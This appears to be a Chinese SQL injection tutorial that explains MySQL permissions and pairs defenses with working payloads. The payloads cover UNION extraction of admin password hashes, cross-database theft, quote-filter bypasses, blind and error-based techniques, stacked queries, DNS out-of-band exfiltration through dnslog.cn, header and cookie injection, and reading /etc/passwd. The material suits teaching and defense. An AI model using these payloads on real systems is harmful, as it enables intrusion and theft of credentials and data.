SQL注入

SQL注入

数据库种类与架构对比分析

一、Access 数据库架构解析

1. 用户管理特性

  • 无独立用户体系:采用文件系统权限管理
  • 全库共享访问:通过文件共享密码保护(脆弱性高)
  • 典型应用场景:单机小型应用/历史遗留系统
1
2
3
4
5
graph TD
A[Access数据库文件.mdb/.accdb] --> B[表集合]
A --> C[查询对象]
A --> D[窗体对象]
A --> E[宏代码]

2. 安全缺陷分析

  • 无细粒度权限控制
  • 连接字符串存储密码(Base64可逆)
  • 最大支持2GB数据量(Access 2016+)

3. 数据存储示例

1
2
3
4
5
6
7
D:/data/
├── company.accdb
│ ├── 员工表
│ │ ├── 工号 (文本)
│ │ ├── 姓名 (文本)
│ ├── 部门表
│ │ ├── 部门ID (自动编号)

二、MySQL 数据库架构解析

1. 管理模式

  • 用户模式

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    graph TD
    subgraph 统一管理模式
    root[Root用户] --> dbA[testA数据库]
    root --> dbB[testB数据库]
    dbA --> siteA(网站A)
    dbB --> siteB(网站B)
    end

    subgraph 独立用户模式
    userA[testA用户] -->|专属管理| dbA2[testA数据库]
    userB[testB用户] -->|专属管理| dbB2[testB数据库]
    dbA2 --> siteA2(网站A)
    dbB2 --> siteB2(网站B)
    end

    classDef user fill:#f9d5e5,stroke:#c81d76;
    classDef db fill:#e3f2fd,stroke:#2196f3;
    classDef site fill:#c8e6c9,stroke:#4caf50;

    class root,userA,userB user
    class dbA,dbB,dbA2,dbB2 db
    class siteA,siteB,siteA2,siteB2 site
统一管理(Root用户)
1
2
3
4
5
6
-- 创建数据库
CREATE DATABASE Web1 CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE DATABASE Web2 CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

-- 授权示例(不推荐)
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'password';
  • 所有数据库共享root账号
  • 权限范围:全局超级权限(CREATE USER, FILE, SHUTDOWN等)
  • 风险指数:⭐⭐⭐⭐⭐
  • 适用场景:本地开发环境
用户隔离管理(推荐方案)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-- 创建专有用户
CREATE USER 'Web1_user'@'192.168.1.4' IDENTIFIED BY 'StrongPassword123!';
CREATE USER 'Web2_user'@'192.168.1.4' IDENTIFIED BY 'Demo@SecurePwd456';

-- 精确授权
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE TEMPORARY TABLES
ON zblog.*
TO 'zblog_user'@'192.168.1.4';

GRANT SELECT, INSERT, UPDATE, DELETE
ON demo01.*
TO 'demo_user'@'192.168.1.4';

-- 权限回收
REVOKE DROP, ALTER, GRANT OPTION FROM 'zblog_user'@'192.168.1.4';

安全实践:

  1. 遵循最小权限原则
  2. 限制登录IP范围(@’192.168.1.%’)
  3. 定期轮换密码(每90天)
  4. 禁用通配符主机名(避免使用@’%’)

2. 结构

1
2
3
4
5
6
7
8
9
mysql
├── dbA
│ ├── 表名
│ ├── 列名
│ ├── 数据
├── dbB
│ ├── 表名
│ ├── 列名
│ ├── 数据

SQL注入深度解析

基本简介

攻击类型图谱

1
2
3
4
5
6
7
graph TD
A[SQL注入类型] --> B[联合查询注入]
A --> C[报错注入]
A --> D[布尔盲注]
A --> E[时间盲注]
A --> F[堆叠注入]
A --> G[二次注入]

攻击影响范围

数据泄露(SELECT)

数据篡改(UPDATE/DELETE)

权限提升(GRANT/EXECUTE)

文件操作(LOAD_FILE/OUTFILE)

系统命令执行(通过xp_cmdshell)

PHP-MYSQL-SQL常规查询

获取相关数据:

  1. 数据库版本-看是否符合information_schema查询-version()
  2. 数据库用户-看是否符合ROOT型注入攻击-user()
  3. 当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
  4. 数据库名字-为后期猜解指定数据库下的表,列做准备-database()

MYSQL5.0以上版本:

自带的数据库名 information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

information_schema.schemata:记录数据库名信息的表

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息表

schema_nameinformation_schema.schemata记录数据库名信息的列名值

table_schemainformation_schema.tables记录数据库名的列名值

table_nameinformation_schema.tables记录表名的列名值

column_nameinformation_schema.columns记录列名的列名值

注入查询含义 依赖-information_schema

通过 information_schema 分步窃取数据库信息的典型流程(以下以 demo01 数据库为例):

步骤 1:探测列数
1
order by 6 -- 探测原始查询的列数(若页面正常,说明列数为6)
  • 目的:确保 UNION SELECT 的列数与原始查询一致。
步骤 2:确认回显位置
1
union select 1,2,3,4,5,6 -- 观察页面显示哪些数字(如显示4,5)
  • 作用:确定哪些列会被输出到页面,用于后续注入数据展示。
步骤 3:获取基础信息
1
union select 1,2,3,database(),user(),6
  • 输出结果
    • database():当前数据库名(如 demo01)。
    • user():当前数据库用户(如 root@localhost)。
步骤 4:获取数据库所有表名
1
2
3
union select 1,2,3,4,group_concat(table_name),6 
from information_schema.tables
where table_schema='demo01'
  • 结果示例
    admin,users,products
  • 原理:从 information_schema.tables 筛选 demo01 库的表名。
步骤 5:获取目标表的列名
1
2
3
union select 1,2,3,4,group_concat(column_name),6 
from information_schema.columns
where table_schema='demo01' and table_name='admin'
  • 结果示例
    id,username,password
  • 原理:从 information_schema.columns 筛选 admin 表的字段名。
步骤 6:窃取目标数据
1
union select 1,2,3,username,password,6 from admin
  • 结果示例
    admin, 5f4dcc3b5aa765d61d8327deb882cf99
    (明文密码 password 的 MD5 值)
1
2
3
4
5
6
7
8
9
10
11
12
13
order by 6 
union select 1,2,3,4,5,6
union select 1,2,3,database(),user(),6
union select 1,2,3,version(),@@version_compile_os,6

#查询数据库名demo01下的表名信息(借助information_schema.tables存储查询)
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'

#查询数据库名demo01下的表名admin的列名信息(借助information_schema.columns存储查询)
union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_schema='demo01' and table_name='admin'

#知道表名列名可以一步到位查询
union select 1,2,3,username,password,6 from admin limit 0,1

PHP-MYSQL-SQL跨库查询(Root用户)

1. 跨库查询概念

含义

通过攻击存在 SQL 注入漏洞的网站 B,利用数据库权限(如 ROOT直接访问其他数据库 A 的数据(例如窃取 A 数据库的账号密码)。

  • 核心条件:当前数据库用户需具有 高权限(如 ROOT 或具备跨库访问权限)。
  • 示例场景
    攻击者发现网站 B 存在注入漏洞,且其数据库用户为 ROOT,则可直接查询同一 MySQL 实例下的其他数据库(如网站 A 的数据库)。
影响条件
  1. 数据库用户权限:必须为 ROOT 或具备 FILESUPER 等高权限。
  2. 数据库配置:MySQL 实例需允许跨库访问(默认同一实例下的数据库可跨库查询)。
  3. 注入漏洞存在:目标网站存在未修复的 SQL 注入漏洞。

2. 跨库攻击示例分析

2.1 信息收集阶段
(1) 获取所有数据库名
1
http://IP/new.php?id=1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata
  • 原理:通过 information_schema.schemata 系统表获取所有数据库名称。
  • 结果:返回类似 mysql,information_schema,demo01,zblog 的字符串。
(2) 获取目标数据库的表名
1
http://IP/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='zblog'
  • 目标:获取 zblog 数据库的所有表名。
  • 结果:如 zbp_member,zbp_post
(3) 获取目标表的列名
1
http://IP/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='zblog' and table_name='zbp_member'
  • 目标:获取 zbp_member 表的字段名。
  • 结果:如 mem_Name,mem_Password,mem_Email
2.2 数据窃取阶段
1
http://IP/new.php?id=1 union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member
  • 直接跨库查询:通过 zblog.zbp_member 语法访问其他数据库的表。
  • 结果:返回 zblog 数据库中的用户账号和密码(如 admin, 5f4dcc3b5aa765d61d8327deb882cf99)。

3. 绕过单引号过滤的技巧

当应用程序过滤单引号(')时,可采用以下方法绕过:

方法 1:十六进制编码
  • 原始语句where table_schema='zblog'
  • 绕过where table_schema=0x7A626C6F67
    • zblog 的十六进制为 7A626C6F67
  • 优点:完全避免使用单引号。
方法 2:使用 CHAR() 函数
  • 绕过where table_schema=CHAR(122,98,108,111,103)
    • z=122, b=98, l=108, o=111, g=103。
方法 3:隐式类型转换
  • 绕过where table_schema=CONCAT('z','blo','g')
    • 拆解字符串,避免直接使用完整单引号字符串。
规则总结
  • 单引号与编码二选一:若使用单引号,需保证其未被过滤;若过滤严格,则优先使用十六进制或 CHAR() 函数。

4. 攻击优化技巧

  1. 缩短 Payload
    • 使用 LIMIT 分页代替 group_concat,减少请求长度:

      1
      union select 1,2,table_name,4 from information_schema.tables limit 0,1
    • 使用简写函数,如 @@version 代替 version()

  2. 盲注代替联合查询
    • 若页面无回显,使用布尔盲注或时间盲注:

      1
      and if(substr(database(),1,1)='a', sleep(5),0)
  3. 自动化工具
    • 使用 sqlmap 自动探测跨库漏洞:

      1
      sqlmap -u "http://IP/new.php?id=1" --dbs --threads 10

5. 防御措施

(1)数据库层
  • 最小权限原则:禁止使用 ROOT 账户连接数据库,分配仅具备必要权限的账户。

  • 禁用跨库访问:通过 MySQL 配置限制用户权限(需重启服务):

    1
    GRANT SELECT ON demo01.* TO 'user'@'localhost';  -- 仅允许访问特定库
(2)代码层
  • 参数化查询:使用预处理语句(如 PDO 的 prepare()bindParam())。
  • 输入过滤:严格校验用户输入,过滤敏感字符(如单引号、UNIONSELECT)。
(3)WAF 防护
  • 部署 Web 应用防火墙,拦截包含 information_schemaunion select 等关键词的请求。

SQL注入类型

1.数字型注入(无符号干扰)

  • 特征SELECT * FROM news WHERE id=$id

  • 攻击示例

    1
    ?id=1 UNION SELECT 1,user(),3-- 
  • 绕过难点:需保持数值类型有效性

  • 突破方案

    • 末尾注释保持语法正确
    • 使用算术运算:1+UNION/**/SELECT...
    • 嵌套查询:1 AND (SELECT ...)

2. 字符型注入(单引号干扰)

  • 特征SELECT * FROM news WHERE id='$id'

  • 攻击示例

    1
    ?id=1' UNION SELECT 1,@@version,3 --+ 
  • 闭合技巧

    • 多级闭合:' OR '1'='1' --
    • 转义突破:\' OR 1=1 --
    • Unicode编码:%27%20OR%201=1--

3. 搜索型注入(通配符干扰)

  • 特征SELECT * FROM news WHERE id LIKE '%$id%'

  • 攻击矩阵

    输入 生成SQL
    test%’ AND… LIKE ‘%test%’ AND 1=1 – %’
    _’ UNION… LIKE ‘%_%’ UNION…
  • 高级payload

    1
    %' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects)) --

4. 框架型注入(复合符号干扰)

  • 特征案例

    1
    2
    3
    SELECT * FROM users WHERE id = ('$id');
    SELECT * FROM users WHERE (id = '$id');
    SELECT * FROM users WHERE (id = ('$id'));
  • 突破策略

    1. 多层闭合:')) OR 1=1 --
    2. 参数逃逸:
    1
    ?id=') UNION SELECT 1,(SELECT LOAD_FILE('/etc/passwd')),3) -- 

5.编码类

  • 特征案例

    1
    2
    3
    4
    ?m=admin&c=index&a=login&pc_hash=

    #base64
    P209YWRtaW4mYz1pbmRleCZhPWxvZ2luJnBjX2hhc2g9

6.盲注类

[**SQL 盲注分类与原理**](#**SQL 盲注分类与原理**)

7.二次注入&堆叠&DNS带外

二次注入&堆叠&DNS带外

SQL 盲注分类与原理

1. 基于布尔的盲注(Boolean-Based)

  • 原理:通过页面返回的 真假状态差异(如内容存在/缺失、HTTP 状态码变化)推断数据。

  • 使用条件
    • 页面存在真假状态差异
      应用程序对 SQL 查询的 真假结果返回不同的响应,例如:
      • 页面内容变化(如显示“存在”或“不存在”)。
      • HTTP 状态码不同(如 200 OK 或 404 Not Found)。
      • 特定关键词出现或消失(如“用户名错误”或“密码错误”)。
    • 无直接数据回显
      无法通过联合查询(UNION SELECT)直接获取数据,但能通过逻辑条件间接推断。
    典型场景
    • 登录表单根据用户名是否存在返回不同提示。
    • 商品详情页根据查询条件返回“有库存”或“无库存”。
    • 搜索功能中,存在结果时显示列表,否则显示“无结果”。
  • 关键函数

    1
    2
    3
    4
    5
    6
    LIKE 'a%'        -- 判断开头字符
    REGEXP '^p' -- 正则匹配首字符
    ASCII('a')=97 -- 字符转ASCII码
    SUBSTR(str,1,1) -- 截取字符串
    LEFT(str,1) -- 取左侧N位字符
    ORD('a') -- 等效ASCII()
  • 攻击示例

    1
    AND (SELECT SUBSTR(database(),1,1)='p') -- 逐字符爆破数据库名
    1
    ' AND (SELECT SUBSTRING(database(),1,1)='a') -- 

    若数据库名的第一个字符是 a,页面正常显示;否则返回错误或空白。

2. 基于时间的盲注(Time-Based)

  • 原理:通过 人为制造延迟(如sleep(2))观察响应时间差异判断条件真假。

  • 使用条件
    • 页面无真假状态反馈
      应用程序对所有查询的响应 完全一致(如统一返回空白或相同页面)。
    • 可触发延迟函数
      数据库支持 SLEEP()BENCHMARK() 等函数,且未被过滤。
    • 网络延迟可控
      攻击者能通过响应时间差异(如 2 秒 vs 0 秒)判断条件真假。
    典型场景
    • 后台管理页面无论查询结果如何均返回“操作成功”。
    • 数据提交接口无内容回显,仅返回 HTTP 200 状态码。
    • 防火墙屏蔽了错误信息,但允许时间延迟。
  • 关键函数

    1
    2
    3
    SLEEP(5)                              -- 强制延迟
    IF(condition, SLEEP(5), 0) -- 条件判断触发延迟
    BENCHMARK(1000000,MD5('test')) -- 利用计算消耗时间
  • 攻击示例

    1
    AND IF(ASCII(SUBSTR(database(),1,1))=112, SLEEP(5), 0) -- 判断首字符为'p'时延迟
    1
    ' AND IF(ASCII(SUBSTR(database(),1,1))=112, SLEEP(5), 0) -- 

    若数据库名的第一个字符 ASCII 码为 112(即字母 p),页面响应延迟 5 秒。

3. 基于报错的盲注(Error-Based)

  • 原理故意触发SQL错误,使数据库返回错误信息(包含敏感数据)。

  • 使用条件
    • 错误信息回显
      应用程序将数据库的 错误详情直接返回给前端(如 SQL 语法错误、类型转换错误)。
    • 特定函数可用
      数据库支持能触发错误的函数(如 UPDATEXML()EXTRACTVALUE()FLOOR())。
    • 未被错误过滤
      服务器未屏蔽或重定向数据库错误(如 display_errors=Off 未开启)。
    典型场景
    • 开发环境或测试环境未关闭错误调试功能。
    • 接口直接返回 SQL 错误堆栈(如 You have an error in your SQL syntax)。
    • 使用 mysql_error() 或类似函数直接输出错误到页面。
  • 关键函数

    1
    2
    3
    4
    UPDATEXML(1, CONCAT(0x7e,(SELECT USER()),0x7e),1)  -- XML解析错误
    EXTRACTVALUE(1, CONCAT(0x5c,(SELECT DATABASE()))) -- XPath语法错误
    FLOOR(RAND(0)*2) -- 主键重复报错
    EXP(~(SELECT * FROM(SELECT USER())x)) -- 数值溢出错误
  • 攻击示例

    1
    AND EXTRACTVALUE(1, CONCAT(0x5c,(SELECT table_name FROM information_schema.tables LIMIT 1)))

自动化盲注工具与技巧

  1. 手工探测:使用 Burp Suite IntruderPython脚本 逐字符爆破。

  2. 工具利用

    • SQLMap:自动识别盲注类型并提取数据。

      1
      sqlmap -u "http://site.com?id=1" --technique=B/T/E --dbs
    • Payloads:预构建盲注字典(如 AND (SELECT 1 FROM (SELECT SLEEP(5))


防御盲注的最佳实践

  1. 参数化查询(Prepared Statements)

    1
    2
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$id]);
  2. 输入过滤与白名单

    • 过滤特殊字符(如 ', ", #, --)。
    • 对数字类型强制类型转换:$id = (int)$_GET['id'];
  3. 错误处理

    • 关闭详细错误回显(display_errors=Off)。
    • 自定义统一错误页面,避免泄露数据库信息。
  4. 权限控制

    • 数据库账户使用最小权限原则,禁止非必要SELECT/UNION操作。

对比总结

盲注类型 使用条件 优点 缺点
布尔盲注 页面存在真假状态差异 效率较高,适合自动化工具 需多次请求,易被日志记录
时间盲注 页面无反馈,但允许延迟函数 隐蔽性强,绕过部分防火墙 速度极慢,依赖网络稳定性
报错盲注 错误信息回显且触发函数可用 快速获取数据(单次请求) 依赖错误回显配置

选择盲注类型的实战思路

  1. 探测响应差异
    • 提交 ' AND 1=1 -- ' AND 1=2 -- ,观察页面是否有变化。
    • 若有变化 → 布尔盲注
    • 若无变化 → 尝试时间或报错盲注。
  2. 测试错误回显
    • 提交 ' AND 1=abc -- (故意制造错误)。
    • 若返回数据库错误详情 → 报错盲注
  3. 验证延迟函数
    • 提交 ' AND SLEEP(5) --
    • 若页面响应延迟 → 时间盲注

附:盲注利用速查表

类型 判断依据 典型Payload
布尔盲注 页面内容/状态码变化 AND (SELECT SUBSTR(database(),1,1)='a')
时间盲注 响应延迟 IF(1=1,SLEEP(5),0)
报错盲注 数据库错误信息回显 AND UPDATEXML(1,CONCAT(0x7e,@@VERSION),1)

二次注入&堆叠&DNS带外


二次注入

1. 原理剖析

  • 插入阶段:攻击者提交恶意数据(如admin'#),被转义函数(如addslashes())处理后存储为admin\'#,数据库实际存储原始数据admin'#

  • 触发阶段:当程序从数据库读取该数据并直接用于SQL操作(如修改密码),拼接语句变为:

    1
    UPDATE users SET password='new_pass' WHERE username='admin'#'

    #'注释后续条件,导致修改管理员密码。

2. 疑问与解答

  • Q:为何转义后仍存在风险?
    A:转义仅防止插入时语法错误,但数据库存储原始数据。后续若未二次处理,直接使用则触发注入。

3. 防御实践

  • 输入输出双过滤:插入时转义,读取时再次验证(如过滤单引号)。
  • 预编译语句:使用PDO或mysqli预处理,确保数据与逻辑分离。

堆叠注入

1. 核心机制

  • 分号分隔:利用;执行多条SQL语句,如:

    1
    SELECT * FROM users; DROP TABLE users;
  • 依赖条件:需使用mysqli_multi_query()等支持多语句的函数,且未过滤分号。

2. 2019强网杯案例解析

  • 绕过过滤:题目过滤select等关键字,采用预处理+十六进制绕过:

    1
    ;SET @sql=0x73656c65637420666c61672066726f6d206031393139383130393331313134353134603b20; PREPARE stmt FROM @sql; EXECUTE stmt;
    • 关键步骤
      1. 将select flag from 1919810931114514; 转为十六进制。
      2. 通过PREPARE创建预处理语句,避免直接使用关键字。

3. 防御策略

  • 禁用多语句执行:使用mysqli_query()替代mysqli_multi_query()
  • 输入过滤:严格过滤;及危险关键字(如UNIONDROP)。

带外注入(OOB)

1. 原理与工具

  • 外带通道:利用数据库函数(如LOAD_FILE())发起DNS或HTTP请求,携带查询结果。

    1
    SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password),'.dnslog.cn\\abc'));
  • 平台使用:通过DNSLog(如ceye.iowww.dnslog.cn)查看请求记录,获取数据。

2. 关键条件

  • 高权限:需FILE权限(通常为ROOT用户)。
  • 网络连通:数据库可外连DNS/HTTP服务。

3. 防御手段

  • 权限最小化:禁止普通用户使用LOAD_FILE等高危函数。
  • 网络隔离:限制数据库出站流量,仅允许必要通信。

综合对比与实战场景

注入类型 触发场景 利用条件 防御重点
二次注入 数据多次使用(如注册后修改) 插入转义,后续未过滤 输入输出双重验证
堆叠注入 支持多语句执行的功能点 未过滤分号,使用multi_query 禁用多语句,严格过滤语法符号
带外注入 无回显的盲注场景 ROOT权限,允许外连请求 限制函数权限,监控外连行为

CTF实战技巧扩展

  • 堆叠注入绕过技巧
    • 预处理语句:避免直接使用关键字。
    • 编码绕过:十六进制/URL编码混淆敏感操作。
    • 系统表利用:通过information_schema查表结构。
  • 带外注入变种
    • HTTP带外:利用http_get()(需特定环境)外传数据。
    • 时间盲注结合:若无法外连,使用SLEEP()+条件判断逐位提取数据。

数据请求攻击

1. 请求源分类

请求类型 示例变量 注入案例
常规参数 $_GET[‘id’] ?id=1’ UNION SELECT…
文件上传 $_FILES[‘file’][‘name’] filename’+(SELECT @@version)+’.jpg
HTTP头注入 $_SERVER[‘HTTP_REFERER’] 修改Referer头为恶意SQL语句
服务端参数 $_SERVER[‘REMOTE_ADDR’] X-Forwarded-For: 1.1.1.1’+(SELECT…)

2. 特殊攻击向量

  • Cookie注入

    1
    2
    3
    4
    5
    6
    // 漏洞代码
    $user = $_COOKIE['user'];
    $sql = "SELECT * FROM users WHERE user='$user'";

    // 攻击payload
    document.cookie = "user=admin' OR '1'='1";
  • X-Forwarded-For注入

    1
    2
    GET /admin.php HTTP/1.1
    X-Forwarded-For: 8.8.8.8',(SELECT COUNT(*) FROM users)) --
  • 文件元数据注入

    1
    2
    3
    // 上传文件名:' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3 --
    move_uploaded_file($_FILES['file']['tmp_name'], $path);
    $sql = "INSERT INTO files (name) VALUES ('{$_FILES['file']['name']}')";